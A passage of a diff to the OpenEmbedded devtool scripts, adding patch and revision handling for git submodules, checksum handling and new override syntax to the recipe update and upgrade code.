+ else:
+ changed_revs[name].append(rev)
- return initial_rev, update_rev, changed_revs, patches
+ return initial_revs, update_revs, changed_revs, patches
def _remove_file_entries(srcuri, filelist):
"""Remove file:// entries from SRC_URI"""
@@ -1259,14 +1338,17 @@ def _remove_source_files(append, files, destpath, no_report_remove=False, dry_ru
raise
-def _export_patches(srctree, rd, start_rev, destdir, changed_revs=None):
+def _export_patches(srctree, rd, start_revs, destdir, changed_revs=None):
"""Export patches from srctree to given location.
Returns three-tuple of dicts:
1. updated - patches that already exist in SRCURI
2. added - new patches that don't exist in SRCURI
3 removed - patches that exist in SRCURI but not in exported patches
- In each dict the key is the 'basepath' of the URI and value is the
- absolute path to the existing file in recipe space (if any).
+ In each dict the key is the 'basepath' of the URI and value is:
+ - for updated and added dicts, a dict with 2 optionnal keys:
+ - 'path': the absolute path to the existing file in recipe space (if any)
+ - 'patchdir': the directory in wich the patch should be applied (if any)
+ - for removed dict, the absolute path to the existing file in recipe space
"""
import oe.recipeutils
from oe.patch import GitApplyTree
@@ -1280,54 +1362,60 @@ def _export_patches(srctree, rd, start_rev, destdir, changed_revs=None):
# Generate patches from Git, exclude local files directory
patch_pathspec = _git_exclude_path(srctree, 'oe-local-files')
- GitApplyTree.extractPatches(srctree, start_rev, destdir, patch_pathspec)
-
- new_patches = sorted(os.listdir(destdir))
- for new_patch in new_patches:
- # Strip numbering from patch names. If it's a git sequence named patch,
- # the numbers might not match up since we are starting from a different
- # revision This does assume that people are using unique shortlog
- # values, but they ought to be anyway...
- new_basename = seqpatch_re.match(new_patch).group(2)
- match_name = None
- for old_patch in existing_patches:
- old_basename = seqpatch_re.match(old_patch).group(2)
- old_basename_splitext = os.path.splitext(old_basename)
- if old_basename.endswith(('.gz', '.bz2', '.Z')) and old_basename_splitext[0] == new_basename:
- old_patch_noext = os.path.splitext(old_patch)[0]
- match_name = old_patch_noext
- break
- elif new_basename == old_basename:
- match_name = old_patch
- break
- if match_name:
- # Rename patch files
- if new_patch != match_name:
- os.rename(os.path.join(destdir, new_patch),
- os.path.join(destdir, match_name))
- # Need to pop it off the list now before checking changed_revs
- oldpath = existing_patches.pop(old_patch)
- if changed_revs is not None:
- # Avoid updating patches that have not actually changed
- with open(os.path.join(destdir, match_name), 'r') as f:
- firstlineitems = f.readline().split()
- # Looking for "From <hash>" line
- if len(firstlineitems) > 1 and len(firstlineitems[1]) == 40:
- if not firstlineitems[1] in changed_revs:
- continue
- # Recompress if necessary
- if oldpath.endswith(('.gz', '.Z')):
- bb.process.run(['gzip', match_name], cwd=destdir)
- if oldpath.endswith('.gz'):
- match_name += '.gz'
- else:
- match_name += '.Z'
- elif oldpath.endswith('.bz2'):
- bb.process.run(['bzip2', match_name], cwd=destdir)
- match_name += '.bz2'
- updated[match_name] = oldpath
- else:
- added[new_patch] = None
+ GitApplyTree.extractPatches(srctree, start_revs, destdir, patch_pathspec)
+ for dirpath, dirnames, filenames in os.walk(destdir):
+ new_patches = filenames
+ reldirpath = os.path.relpath(dirpath, destdir)
+ for new_patch in new_patches:
+ # Strip numbering from patch names. If it's a git sequence named patch,
+ # the numbers might not match up since we are starting from a different
+ # revision This does assume that people are using unique shortlog
+ # values, but they ought to be anyway...
+ new_basename = seqpatch_re.match(new_patch).group(2)
+ match_name = None
+ for old_patch in existing_patches:
+ old_basename = seqpatch_re.match(old_patch).group(2)
+ old_basename_splitext = os.path.splitext(old_basename)
+ if old_basename.endswith(('.gz', '.bz2', '.Z')) and old_basename_splitext[0] == new_basename:
+ old_patch_noext = os.path.splitext(old_patch)[0]
+ match_name = old_patch_noext
+ break
+ elif new_basename == old_basename:
+ match_name = old_patch
+ break
+ if match_name:
+ # Rename patch files
+ if new_patch != match_name:
+ bb.utils.rename(os.path.join(destdir, new_patch),
+ os.path.join(destdir, match_name))
+ # Need to pop it off the list now before checking changed_revs
+ oldpath = existing_patches.pop(old_patch)
+ if changed_revs is not None and dirpath in changed_revs:
+ # Avoid updating patches that have not actually changed
+ with open(os.path.join(dirpath, match_name), 'r') as f:
+ firstlineitems = f.readline().split()
+ # Looking for "From <hash>" line
+ if len(firstlineitems) > 1 and len(firstlineitems[1]) == 40:
+ if not firstlineitems[1] in changed_revs[dirpath]:
+ continue
+ # Recompress if necessary
+ if oldpath.endswith(('.gz', '.Z')):
+ bb.process.run(['gzip', match_name], cwd=destdir)
+ if oldpath.endswith('.gz'):
+ match_name += '.gz'
+ else:
+ match_name += '.Z'
+ elif oldpath.endswith('.bz2'):
+ bb.process.run(['bzip2', match_name], cwd=destdir)
+ match_name += '.bz2'
+ updated[match_name] = {'path' : oldpath}
+ if reldirpath != ".":
+ updated[match_name]['patchdir'] = reldirpath
+ else:
+ added[new_patch] = {}
+ if reldirpath != ".":
+ added[new_patch]['patchdir'] = reldirpath
+
return (updated, added, existing_patches)
@@ -1378,6 +1466,18 @@ def _export_local_files(srctree, rd, destdir, srctreebase):
updated = OrderedDict()
added = OrderedDict()
removed = OrderedDict()
+
+ # Get current branch and return early with empty lists
+ # if on one of the override branches
+ # (local files are provided only for the main branch and processing
+ # them against lists from recipe overrides will result in mismatches
+ # and broken modifications to recipes).
+ stdout, _ = bb.process.run('git rev-parse --abbrev-ref HEAD',
+ cwd=srctree)
+ branchname = stdout.rstrip()
+ if branchname.startswith(override_branch_prefix):
+ return (updated, added, removed)
+
local_files_dir = os.path.join(srctreebase, 'oe-local-files')
git_files = _git_ls_tree(srctree)
if 'oe-local-files' in git_files:
@@ -1483,6 +1583,12 @@ def _update_recipe_srcrev(recipename, workspace, srctree, rd, appendlayerdir, wi
recipedir = os.path.basename(recipefile)
logger.info('Updating SRCREV in recipe %s%s' % (recipedir, dry_run_suffix))
+ # Get original SRCREV
+ old_srcrev = rd.getVar('SRCREV') or ''
+ if old_srcrev == "INVALID":
+ raise DevtoolError('Update mode srcrev is only valid for recipe fetched from an SCM repository')
+ old_srcrev = {'.': old_srcrev}
+
# Get HEAD revision
try:
stdout, _ = bb.process.run('git rev-parse HEAD', cwd=srctree)
@@ -1509,13 +1615,12 @@ def _update_recipe_srcrev(recipename, workspace, srctree, rd, appendlayerdir, wi
if not no_remove:
# Find list of existing patches in recipe file
patches_dir = tempfile.mkdtemp(dir=tempdir)
- old_srcrev = rd.getVar('SRCREV') or ''
upd_p, new_p, del_p = _export_patches(srctree, rd, old_srcrev,
patches_dir)
logger.debug('Patches: update %s, new %s, delete %s' % (dict(upd_p), dict(new_p), dict(del_p)))
# Remove deleted local files and "overlapping" patches
- remove_files = list(del_f.values()) + list(upd_p.values()) + list(del_p.values())
+ remove_files = list(del_f.values()) + [value["path"] for value in upd_p.values() if "path" in value] + [value["path"] for value in del_p.values() if "path" in value]
if remove_files:
removedentries = _remove_file_entries(srcuri, remove_files)[0]
update_srcuri = True
@@ -1529,11 +1634,10 @@ def _update_recipe_srcrev(recipename, workspace, srctree, rd, appendlayerdir, wi
patchfields['SRC_URI'] = '\\\n '.join(srcuri)
if dry_run_outdir:
logger.info('Creating bbappend (dry-run)')
- else:
- appendfile, destpath = oe.recipeutils.bbappend_recipe(
- rd, appendlayerdir, files, wildcardver=wildcard_version,
- extralines=patchfields, removevalues=removevalues,
- redirect_output=dry_run_outdir)
+ appendfile, destpath = oe.recipeutils.bbappend_recipe(
+ rd, appendlayerdir, files, wildcardver=wildcard_version,
+ extralines=patchfields, removevalues=removevalues,
+ redirect_output=dry_run_outdir)
else:
files_dir = _determine_files_dir(rd)
for basepath, path in upd_f.items():
@@ -1578,9 +1682,22 @@ def _update_recipe_patch(recipename, workspace, srctree, rd, appendlayerdir, wil
if not os.path.exists(append):
raise DevtoolError('unable to find workspace bbappend for recipe %s' %
recipename)
+ srctreebase = workspace[recipename]['srctreebase']
+ relpatchdir = os.path.relpath(srctreebase, srctree)
+ if relpatchdir == '.':
+ patchdir_params = {}
+ else:
+ patchdir_params = {'patchdir': relpatchdir}
- initial_rev, update_rev, changed_revs, filter_patches = _get_patchset_revs(srctree, append, initial_rev, force_patch_refresh)
- if not initial_rev:
+ def srcuri_entry(basepath, patchdir_params):
+ if patchdir_params:
+ paramstr = ';' + ';'.join('%s=%s' % (k,v) for k,v in patchdir_params.items())
+ else:
+ paramstr = ''
+ return 'file://%s%s' % (basepath, paramstr)
+
+ initial_revs, update_revs, changed_revs, filter_patches = _get_patchset_revs(srctree, append, initial_rev, force_patch_refresh)
+ if not initial_revs:
raise DevtoolError('Unable to find initial revision - please specify '
'it with --initial-rev')
@@ -1594,55 +1711,62 @@ def _update_recipe_patch(recipename, workspace, srctree, rd, appendlayerdir, wil
tempdir = tempfile.mkdtemp(prefix='devtool')
try:
local_files_dir = tempfile.mkdtemp(dir=tempdir)
- if filter_patches:
- upd_f = {}
- new_f = {}
- del_f = {}
- else:
- srctreebase = workspace[recipename]['srctreebase']
- upd_f, new_f, del_f = _export_local_files(srctree, rd, local_files_dir, srctreebase)
-
- remove_files = []
- if not no_remove:
- # Get all patches from source tree and check if any should be removed
- all_patches_dir = tempfile.mkdtemp(dir=tempdir)
- _, _, del_p = _export_patches(srctree, rd, initial_rev,
- all_patches_dir)
- # Remove deleted local files and patches
- remove_files = list(del_f.values()) + list(del_p.values())
+ upd_f, new_f, del_f = _export_local_files(srctree, rd, local_files_dir, srctreebase)
# Get updated patches from source tree
patches_dir = tempfile.mkdtemp(dir=tempdir)
- upd_p, new_p, _ = _export_patches(srctree, rd, update_rev,
+ upd_p, new_p, _ = _export_patches(srctree, rd, update_revs,
patches_dir, changed_revs)
+ # Get all patches from source tree and check if any should be removed
+ all_patches_dir = tempfile.mkdtemp(dir=tempdir)
+ _, _, del_p = _export_patches(srctree, rd, initial_revs,
+ all_patches_dir)
logger.debug('Pre-filtering: update: %s, new: %s' % (dict(upd_p), dict(new_p)))
if filter_patches:
new_p = OrderedDict()
upd_p = OrderedDict((k,v) for k,v in upd_p.items() if k in filter_patches)
- remove_files = [f for f in remove_files if f in filter_patches]
+ del_p = OrderedDict((k,v) for k,v in del_p.items() if k in filter_patches)
+ remove_files = []
+ if not no_remove:
+ # Remove deleted local files and patches
+ remove_files = list(del_f.values()) + list(del_p.values())
updatefiles = False
updaterecipe = False
destpath = None
srcuri = (rd.getVar('SRC_URI', False) or '').split()
+
if appendlayerdir:
files = OrderedDict((os.path.join(local_files_dir, key), val) for
key, val in list(upd_f.items()) + list(new_f.items()))
files.update(OrderedDict((os.path.join(patches_dir, key), val) for
key, val in list(upd_p.items()) + list(new_p.items())))
+
+ params = []
+ for file, param in files.items():
+ patchdir_param = dict(patchdir_params)
+ patchdir = param.get('patchdir', ".")
+ if patchdir != "." :
+ if patchdir_param:
+ patchdir_param['patchdir'] += patchdir
+ else:
+ patchdir_param['patchdir'] = patchdir
+ params.append(patchdir_param)
+
if files or remove_files:
removevalues = None
if remove_files:
removedentries, remaining = _remove_file_entries(
srcuri, remove_files)
if removedentries or remaining:
- remaining = ['file://' + os.path.basename(item) for
+ remaining = [srcuri_entry(os.path.basename(item), patchdir_params) for
item in remaining]
removevalues = {'SRC_URI': removedentries + remaining}
appendfile, destpath = oe.recipeutils.bbappend_recipe(
rd, appendlayerdir, files,
wildcardver=wildcard_version,
removevalues=removevalues,
- redirect_output=dry_run_outdir)
+ redirect_output=dry_run_outdir,
+ params=params)
else:
logger.info('No patches or local source files needed updating')
else:
@@ -1659,14 +1783,22 @@ def _update_recipe_patch(recipename, workspace, srctree, rd, appendlayerdir, wil
_move_file(os.path.join(local_files_dir, basepath), path,
dry_run_outdir=dry_run_outdir, base_outdir=recipedir)
updatefiles = True
- for basepath, path in upd_p.items():
- patchfn = os.path.join(patches_dir, basepath)
+ for basepath, param in upd_p.items():
+ path = param['path']
+ patchdir = param.get('patchdir', ".")
+ if patchdir != "." :
+ patchdir_param = dict(patchdir_params)
+ if patchdir_param:
+ patchdir_param['patchdir'] += patchdir
+ else:
+ patchdir_param['patchdir'] = patchdir
+ patchfn = os.path.join(patches_dir, patchdir, basepath)
if os.path.dirname(path) + '/' == dl_dir:
# This is a a downloaded patch file - we now need to
# replace the entry in SRC_URI with our local version
logger.info('Replacing remote patch %s with updated local version' % basepath)
path = os.path.join(files_dir, basepath)
- _replace_srcuri_entry(srcuri, basepath, 'file://%s' % basepath)
+ _replace_srcuri_entry(srcuri, basepath, srcuri_entry(basepath, patchdir_param))
updaterecipe = True
else:
logger.info('Updating patch %s%s' % (basepath, dry_run_suffix))
@@ -1680,15 +1812,23 @@ def _update_recipe_patch(recipename, workspace, srctree, rd, appendlayerdir, wil
os.path.join(files_dir, basepath),
dry_run_outdir=dry_run_outdir,
base_outdir=recipedir)
- srcuri.append('file://%s' % basepath)
+ srcuri.append(srcuri_entry(basepath, patchdir_params))
updaterecipe = True
- for basepath, path in new_p.items():
+ for basepath, param in new_p.items():
+ patchdir = param.get('patchdir', ".")
logger.info('Adding new patch %s%s' % (basepath, dry_run_suffix))
- _move_file(os.path.join(patches_dir, basepath),
+ _move_file(os.path.join(patches_dir, patchdir, basepath),
os.path.join(files_dir, basepath),
dry_run_outdir=dry_run_outdir,
base_outdir=recipedir)
- srcuri.append('file://%s' % basepath)
+ params = dict(patchdir_params)
+ if patchdir != "." :
+ if params:
+ params['patchdir'] += patchdir
+ else:
+ params['patchdir'] = patchdir
+
+ srcuri.append(srcuri_entry(basepath, params))
updaterecipe = True
# Update recipe, if needed
if _remove_file_entries(srcuri, remove_files)[0]:
@@ -1711,7 +1851,7 @@ def _update_recipe_patch(recipename, workspace, srctree, rd, appendlayerdir, wil
def _guess_recipe_update_mode(srctree, rdata):
"""Guess the recipe update mode to use"""
- src_uri = (rdata.getVar('SRC_URI', False) or '').split()
+ src_uri = (rdata.getVar('SRC_URI') or '').split()
git_uris = [uri for uri in src_uri if uri.startswith('git://')]
if not git_uris:
return 'patch'
@@ -1745,6 +1885,8 @@ def _update_recipe(recipename, workspace, rd, mode, appendlayerdir, wildcard_ver
for line in stdout.splitlines():
branchname = line[2:]
if line.startswith('* '):
+ if 'HEAD' in line:
+ raise DevtoolError('Detached HEAD - please check out a branch, e.g., "devtool"')
startbranch = branchname
if branchname.startswith(override_branch_prefix):
override_branches.append(branchname)
@@ -1934,9 +2076,19 @@ def _reset(recipes, no_clean, remove_work, config, basepath, workspace):
shutil.rmtree(srctreebase)
else:
# We don't want to risk wiping out any work in progress
- logger.info('Leaving source tree %s as-is; if you no '
- 'longer need it then please delete it manually'
- % srctreebase)
+ if srctreebase.startswith(os.path.join(config.workspace_path, 'sources')):
+ from datetime import datetime
+ preservesrc = os.path.join(config.workspace_path, 'attic', 'sources', "{}.{}".format(pn, datetime.now().strftime("%Y%m%d%H%M%S")))
+ logger.info('Preserving source tree in %s\nIf you no '
+ 'longer need it then please delete it manually.\n'
+ 'It is also possible to reuse it via devtool source tree argument.'
+ % preservesrc)
+ bb.utils.mkdirhier(os.path.dirname(preservesrc))
+ shutil.move(srctreebase, preservesrc)
+ else:
+ logger.info('Leaving source tree %s as-is; if you no '
+ 'longer need it then please delete it manually'
+ % srctreebase)
else:
# This is unlikely, but if it's empty we can just remove it
os.rmdir(srctreebase)
@@ -2196,6 +2348,7 @@ def register_commands(subparsers, context):
group.add_argument('--no-same-dir', help='Force build in a separate build directory', action="store_true")
parser_add.add_argument('--fetch', '-f', help='Fetch the specified URI and extract it to create the source tree (deprecated - pass as positional argument instead)', metavar='URI')
parser_add.add_argument('--npm-dev', help='For npm, also fetch devDependencies', action="store_true")
+ parser_add.add_argument('--no-pypi', help='Do not inherit pypi class', action="store_true")
parser_add.add_argument('--version', '-V', help='Version to use within recipe (PV)')
parser_add.add_argument('--no-git', '-g', help='If fetching source, do not set up source tree as a git repository', action="store_true")
group = parser_add.add_mutually_exclusive_group()
diff --git a/scripts/lib/devtool/upgrade.py b/scripts/lib/devtool/upgrade.py
index 0c1de8cdc7..fa5b8ef3c7 100644
--- a/scripts/lib/devtool/upgrade.py
+++ b/scripts/lib/devtool/upgrade.py
@@ -35,6 +35,8 @@ def _get_srctree(tmpdir):
dirs = scriptutils.filter_src_subdirs(tmpdir)
if len(dirs) == 1:
srctree = os.path.join(tmpdir, dirs[0])
+ else:
+ raise DevtoolError("Cannot determine where the source tree is after unpacking in {}: {}".format(tmpdir,dirs))
return srctree
def _copy_source_code(orig, dest):
@@ -71,7 +73,8 @@ def _rename_recipe_dirs(oldpv, newpv, path):
if oldfile.find(oldpv) != -1:
newfile = oldfile.replace(oldpv, newpv)
if oldfile != newfile:
- os.rename(os.path.join(path, oldfile), os.path.join(path, newfile))
+ bb.utils.rename(os.path.join(path, oldfile),
+ os.path.join(path, newfile))
def _rename_recipe_file(oldrecipe, bpn, oldpv, newpv, path):
oldrecipe = os.path.basename(oldrecipe)
@@ -87,7 +90,7 @@ def _rename_recipe_files(oldrecipe, bpn, oldpv, newpv, path):
_rename_recipe_dirs(oldpv, newpv, path)
return _rename_recipe_file(oldrecipe, bpn, oldpv, newpv, path)
-def _write_append(rc, srctree, same_dir, no_same_dir, rev, copied, workspace, d):
+def _write_append(rc, srctreebase, srctree, same_dir, no_same_dir, revs, copied, workspace, d):
"""Writes an append file"""
if not os.path.exists(rc):
raise DevtoolError("bbappend not created because %s does not exist" % rc)
@@ -102,36 +105,38 @@ def _write_append(rc, srctree, same_dir, no_same_dir, rev, copied, workspace, d)
pn = d.getVar('PN')
af = os.path.join(appendpath, '%s.bbappend' % brf)
with open(af, 'w') as f:
- f.write('FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n\n')
+ f.write('FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n\n')
+ # Local files can be modified/tracked in separate subdir under srctree
+ # Mostly useful for packages with S != WORKDIR
+ f.write('FILESPATH:prepend := "%s:"\n' %
+ os.path.join(srctreebase, 'oe-local-files'))
+ f.write('# srctreebase: %s\n' % srctreebase)
f.write('inherit externalsrc\n')
f.write(('# NOTE: We use pn- overrides here to avoid affecting'
'multiple variants in the case where the recipe uses BBCLASSEXTEND\n'))
- f.write('EXTERNALSRC_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC:pn-%s = "%s"\n' % (pn, srctree))
b_is_s = use_external_build(same_dir, no_same_dir, d)
if b_is_s:
- f.write('EXTERNALSRC_BUILD_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC_BUILD:pn-%s = "%s"\n' % (pn, srctree))
f.write('\n')
- if rev:
- f.write('# initial_rev: %s\n' % rev)
+ if revs:
+ for name, rev in revs.items():
+ f.write('# initial_rev %s: %s\n' % (name, rev))
if copied:
f.write('# original_path: %s\n' % os.path.dirname(d.getVar('FILE')))
f.write('# original_files: %s\n' % ' '.join(copied))
return af
-def _cleanup_on_error(rf, srctree):
- rfp = os.path.split(rf)[0] # recipe folder
- rfpp = os.path.split(rfp)[0] # recipes folder
- if os.path.exists(rfp):
- shutil.rmtree(rfp)
- if not len(os.listdir(rfpp)):
- os.rmdir(rfpp)
+def _cleanup_on_error(rd, srctree):
+ if os.path.exists(rd):
+ shutil.rmtree(rd)
srctree = os.path.abspath(srctree)
if os.path.exists(srctree):
shutil.rmtree(srctree)
-def _upgrade_error(e, rf, srctree, keep_failure=False, extramsg=None):
- if rf and not keep_failure:
- _cleanup_on_error(rf, srctree)
+def _upgrade_error(e, rd, srctree, keep_failure=False, extramsg=None):
+ if not keep_failure:
+ _cleanup_on_error(rd, srctree)
logger.error(e)
if extramsg:
logger.error(extramsg)
@@ -178,12 +183,16 @@ def _extract_new_source(newpv, srctree, no_patch, srcrev, srcbranch, branch, kee
uri, rev = _get_uri(crd)
if srcrev:
rev = srcrev
- if uri.startswith('git://'):
+ paths = [srctree]
+ if uri.startswith('git://') or uri.startswith('gitsm://'):
__run('git fetch')
__run('git checkout %s' % rev)
__run('git tag -f devtool-base-new')
- md5 = None
- sha256 = None
+ __run('git submodule update --recursive')
+ __run('git submodule foreach \'git tag -f devtool-base-new\'')
+ (stdout, _) = __run('git submodule --quiet foreach \'echo $sm_path\'')
+ paths += [os.path.join(srctree, p) for p in stdout.splitlines()]
+ checksums = {}
_, _, _, _, _, params = bb.fetch2.decodeurl(uri)
srcsubdir_rel = params.get('destsuffix', 'git')
if not srcbranch:
@@ -191,14 +200,15 @@ def _extract_new_source(newpv, srctree, no_patch, srcrev, srcbranch, branch, kee
get_branch = [x.strip() for x in check_branch.splitlines()]
# Remove HEAD reference point and drop remote prefix
get_branch = [x.split('/', 1)[1] for x in get_branch if not x.startswith('origin/HEAD')]
- if 'master' in get_branch:
- # If it is master, we do not need to append 'branch=master' as this is default.
- # Even with the case where get_branch has multiple objects, if 'master' is one
- # of them, we should default take from 'master'
- srcbranch = ''
- elif len(get_branch) == 1:
- # If 'master' isn't in get_branch and get_branch contains only ONE object, then store result into 'srcbranch'
+ if len(get_branch) == 1:
+ # If srcrev is on only ONE branch, then use that branch
srcbranch = get_branch[0]
+ elif 'main' in get_branch:
+ # If srcrev is on multiple branches, then choose 'main' if it is one of them
+ srcbranch = 'main'
+ elif 'master' in get_branch:
+ # Otherwise choose 'master' if it is one of the branches
+ srcbranch = 'master'
else:
# If get_branch contains more than one objects, then display error and exit.
mbrch = '\n ' + '\n '.join(get_branch)
@@ -215,9 +225,6 @@ def _extract_new_source(newpv, srctree, no_patch, srcrev, srcbranch, branch, kee
if ftmpdir and keep_temp:
logger.info('Fetch temp directory is %s' % ftmpdir)
- md5 = checksums['md5sum']
- sha256 = checksums['sha256sum']
-
tmpsrctree = _get_srctree(tmpdir)
srctree = os.path.abspath(srctree)
srcsubdir_rel = os.path.relpath(tmpsrctree, tmpdir)
@@ -251,30 +258,50 @@ def _extract_new_source(newpv, srctree, no_patch, srcrev, srcbranch, branch, kee
__run('git %s commit -q -m "Commit of upstream changes at version %s" --allow-empty' % (' '.join(useroptions), newpv))
__run('git tag -f devtool-base-%s' % newpv)
- (stdout, _) = __run('git rev-parse HEAD')
- rev = stdout.rstrip()
+ revs = {}
+ for path in paths:
+ (stdout, _) = _run('git rev-parse HEAD', cwd=path)
+ revs[os.path.relpath(path, srctree)] = stdout.rstrip()
if no_patch:
patches = oe.recipeutils.get_recipe_patches(crd)
if patches:
logger.warning('By user choice, the following patches will NOT be applied to the new source tree:\n %s' % '\n '.join([os.path.basename(patch) for patch in patches]))
else:
- __run('git checkout devtool-patched -b %s' % branch)
- skiptag = False
- try:
- __run('git rebase %s' % rev)
- except bb.process.ExecutionError as e:
- skiptag = True
- if 'conflict' in e.stdout:
- logger.warning('Command \'%s\' failed:\n%s\n\nYou will need to resolve conflicts in order to complete the upgrade.' % (e.command, e.stdout.rstrip()))
- else:
- logger.warning('Command \'%s\' failed:\n%s' % (e.command, e.stdout))
- if not skiptag:
- if uri.startswith('git://'):
- suffix = 'new'
- else:
- suffix = newpv
- __run('git tag -f devtool-patched-%s' % suffix)
+ for path in paths:
+ _run('git checkout devtool-patched -b %s' % branch, cwd=path)
+ (stdout, _) = _run('git branch --list devtool-override-*', cwd=path)
+ branches_to_rebase = [branch] + stdout.split()
+ target_branch = revs[os.path.relpath(path, srctree)]
+
+ # There is a bug (or feature?) in git rebase where if a commit with
+ # a note is fully rebased away by being part of an old commit, the
+ # note is still attached to the old commit. Avoid this by making
+ # sure all old devtool related commits have a note attached to them
+ # (this assumes git config notes.rewriteMode is set to ignore).
+ (stdout, _) = __run('git rev-list devtool-base..%s' % target_branch)
+ for rev in stdout.splitlines():
+ if not oe.patch.GitApplyTree.getNotes(path, rev):
+ oe.patch.GitApplyTree.addNote(path, rev, "dummy")
+
+ for b in branches_to_rebase:
+ logger.info("Rebasing {} onto {}".format(b, target_branch))
+ _run('git checkout %s' % b, cwd=path)
+ try:
+ _run('git rebase %s' % target_branch, cwd=path)
+ except bb.process.ExecutionError as e:
+ if 'conflict' in e.stdout:
+ logger.warning('Command \'%s\' failed:\n%s\n\nYou will need to resolve conflicts in order to complete the upgrade.' % (e.command, e.stdout.rstrip()))
+ _run('git rebase --abort', cwd=path)
+ else:
+ logger.warning('Command \'%s\' failed:\n%s' % (e.command, e.stdout))
+
+ # Remove any dummy notes added above.
+ (stdout, _) = __run('git rev-list devtool-base..%s' % target_branch)
+ for rev in stdout.splitlines():
+ oe.patch.GitApplyTree.removeNote(path, rev, "dummy")
+
+ _run('git checkout %s' % branch, cwd=path)
if tmpsrctree:
if keep_temp:
@@ -284,7 +311,7 @@ def _extract_new_source(newpv, srctree, no_patch, srcrev, srcbranch, branch, kee
if tmpdir != tmpsrctree:
shutil.rmtree(tmpdir)
- return (rev, md5, sha256, srcbranch, srcsubdir_rel)
+ return (revs, checksums, srcbranch, srcsubdir_rel)
def _add_license_diff_to_recipe(path, diff):
notice_text = """# FIXME: the LIC_FILES_CHKSUM values have been updated by 'devtool upgrade'.
@@ -305,7 +332,7 @@ def _add_license_diff_to_recipe(path, diff):
f.write("\n#\n\n".encode())
f.write(orig_content)
-def _create_new_recipe(newpv, md5, sha256, srcrev, srcbranch, srcsubdir_old, srcsubdir_new, workspace, tinfoil, rd, license_diff, new_licenses, srctree, keep_failure):
+def _create_new_recipe(newpv, checksums, srcrev, srcbranch, srcsubdir_old, srcsubdir_new, workspace, tinfoil, rd, license_diff, new_licenses, srctree, keep_failure):
"""Creates the new recipe under workspace"""
bpn = rd.getVar('BPN')
@@ -336,7 +363,10 @@ def _create_new_recipe(newpv, md5, sha256, srcrev, srcbranch, srcsubdir_old, src
replacing = True
new_src_uri = []
for entry in src_uri:
- scheme, network, path, user, passwd, params = bb.fetch2.decodeurl(entry)
+ try:
+ scheme, network, path, user, passwd, params = bb.fetch2.decodeurl(entry)
+ except bb.fetch2.MalformedUrl as e:
+ raise DevtoolError("Could not decode SRC_URI: {}".format(e))
if replacing and scheme in ['git', 'gitsm']:
branch = params.get('branch', 'master')
if rd.expand(branch) != srcbranch:
@@ -374,30 +404,39 @@ def _create_new_recipe(newpv, md5, sha256, srcrev, srcbranch, srcsubdir_old, src
addnames.append(params['name'])
# Find what's been set in the original recipe
oldnames = []
+ oldsums = []
noname = False
for varflag in rd.getVarFlags('SRC_URI'):
- if varflag.endswith(('.md5sum', '.sha256sum')):
- name = varflag.rsplit('.', 1)[0]
- if name not in oldnames:
- oldnames.append(name)
- elif varflag in ['md5sum', 'sha256sum']:
- noname = True
+ for checksum in checksums:
+ if varflag.endswith('.' + checksum):
+ name = varflag.rsplit('.', 1)[0]
+ if name not in oldnames:
+ oldnames.append(name)
+ oldsums.append(checksum)
+ elif varflag == checksum:
+ noname = True
+ oldsums.append(checksum)
# Even if SRC_URI has named entries it doesn't have to actually use the name
if noname and addnames and addnames[0] not in oldnames:
addnames = []
# Drop any old names (the name actually might include ${PV})
for name in oldnames:
if name not in newnames:
- newvalues['SRC_URI[%s.md5sum]' % name] = None
- newvalues['SRC_URI[%s.sha256sum]' % name] = None
+ for checksum in oldsums:
+ newvalues['SRC_URI[%s.%s]' % (name, checksum)] = None
- if sha256:
- if addnames:
- nameprefix = '%s.' % addnames[0]
- else:
- nameprefix = ''
+ nameprefix = '%s.' % addnames[0] if addnames else ''
+
+ # md5sum is deprecated, remove any traces of it. If it was the only old
+ # checksum, then replace it with the default checksums.
+ if 'md5sum' in oldsums:
newvalues['SRC_URI[%smd5sum]' % nameprefix] = None
- newvalues['SRC_URI[%ssha256sum]' % nameprefix] = sha256
+ oldsums.remove('md5sum')
+ if not oldsums:
+ oldsums = ["%ssum" % s for s in bb.fetch2.SHOWN_CHECKSUM_LIST]
+
+ for checksum in oldsums:
+ newvalues['SRC_URI[%s%s]' % (nameprefix, checksum)] = checksums[checksum]
if srcsubdir_new != srcsubdir_old:
s_subdir_old = os.path.relpath(os.path.abspath(rd.getVar('S')), rd.getVar('WORKDIR'))
@@ -422,10 +461,11 @@ def _create_new_recipe(newpv, md5, sha256, srcrev, srcbranch, srcsubdir_old, src
newvalues["LIC_FILES_CHKSUM"] = newlicchksum
_add_license_diff_to_recipe(fullpath, license_diff)
+ tinfoil.modified_files()
try:
rd = tinfoil.parse_recipe_file(fullpath, False)
except bb.tinfoil.TinfoilCommandFailed as e:
- _upgrade_error(e, fullpath, srctree, keep_failure, 'Parsing of upgraded recipe failed')
+ _upgrade_error(e, os.path.dirname(fullpath), srctree, keep_failure, 'Parsing of upgraded recipe failed')
oe.recipeutils.patch_recipe(rd, fullpath, newvalues)
return fullpath, copied
@@ -434,7 +474,7 @@ def _create_new_recipe(newpv, md5, sha256, srcrev, srcbranch, srcsubdir_old, src
def _check_git_config():
def getconfig(name):
try:
- value = bb.process.run('git config --global %s' % name)[0].strip()
+ value = bb.process.run('git config %s' % name)[0].strip()
except bb.process.ExecutionError as e:
if e.exitcode == 1:
value = None
@@ -521,6 +561,8 @@ def upgrade(args, config, basepath, workspace):
else:
srctree = standard.get_default_srctree(config, pn)
+ srctree_s = standard.get_real_srctree(srctree, rd.getVar('S'), rd.getVar('WORKDIR'))
+
# try to automatically discover latest version and revision if not provided on command line
if not args.version and not args.srcrev:
version_info = oe.recipeutils.get_recipe_upstream_version(rd)
@@ -550,21 +592,20 @@ def upgrade(args, config, basepath, workspace):
try:
logger.info('Extracting current version source...')
rev1, srcsubdir1 = standard._extract_source(srctree, False, 'devtool-orig', False, config, basepath, workspace, args.fixed_setup, rd, tinfoil, no_overrides=args.no_overrides)
- old_licenses = _extract_licenses(srctree, (rd.getVar('LIC_FILES_CHKSUM') or ""))
+ old_licenses = _extract_licenses(srctree_s, (rd.getVar('LIC_FILES_CHKSUM') or ""))
logger.info('Extracting upgraded version source...')
- rev2, md5, sha256, srcbranch, srcsubdir2 = _extract_new_source(args.version, srctree, args.no_patch,
+ rev2, checksums, srcbranch, srcsubdir2 = _extract_new_source(args.version, srctree, args.no_patch,
